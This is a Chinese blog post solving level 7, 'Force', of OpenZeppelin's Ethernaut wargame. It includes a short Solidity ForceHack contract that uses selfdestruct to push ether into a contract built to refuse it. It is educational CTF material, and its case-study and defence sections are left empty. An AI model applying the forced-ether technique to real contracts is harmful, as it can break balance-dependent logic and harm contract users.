# 智能合约黑客攻击 Ethernaut:    7. Force

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-26

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

一个空合约，需要给这个合约里充点 ether。

Hack思路
------

一个合约要接受 ether 得一般得有 **receive** 或者 **fallback** 方法、除了这2个还有就是某个合约使用 **selfdestruct** 方法销毁时可以把剩余的ether转到指定合约。

    // 强制给合约赚钱会被 revert 掉
    await sendTransaction({ from: player, to: contract.address , value: toWei("0.0001") })
    
    // 用销毁合约的方式可以跳过这个检查
    contract ForceHack {
        constructor(address payable target) payable {
            require(msg.value > 0);
            // forgefmt: disable-next-line
            selfdestruct(target);
        }
    }
    // 创建合约时记得得带点ether
    (new ForceHack){ value: 0.1 ether }(payable(levelAddress));
    

Hack案例
------

…

防范思路
----

….

参考资料
----

*   [Deactivate and Self-destruct](https://docs.soliditylang.org/en/v0.8.21/introduction-to-smart-contracts.html#deactivate-and-self-destruct)
    
*

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-7-force)*
